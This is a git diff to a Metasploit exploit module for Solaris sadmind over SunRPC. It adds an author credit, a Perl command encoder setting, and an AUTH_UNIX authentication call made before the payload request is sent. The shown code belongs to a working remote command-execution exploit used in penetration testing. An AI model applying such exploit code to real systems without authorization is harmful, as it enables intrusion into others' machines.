diff --git a/modules/exploits/solaris/sunrpc/sadmind_exec.rb b/modules/exploits/solaris/sunrpc/sadmind_exec.rb index 8272eb1f65..730b4e025a 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_exec.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_exec.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote Vulnerable systems include solaris 2.7, 8, and 9 }, - 'Author' => [ 'vlad902 ', 'hdm', 'cazz' ], + 'Author' => [ 'vlad902 ', 'hdm', 'cazz', 'midnitesnake' ], 'License' => MSF_LICENSE, 'References' => [ @@ -35,9 +35,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Payload' => { - 'Space' => 2000, - 'BadChars' => "\x00", + 'Space' => 2000, + 'BadChars' => "\x00", 'DisableNops' => true, + 'EncoderType' => Msf::Encoder::Type::CmdUnixPerl, 'Compat' => { 'PayloadType' => 'cmd', @@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote hostname = datastore['HOSTNAME'] end + sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], []) response = sadmind_request(hostname, payload.encoded) sunrpc_destroy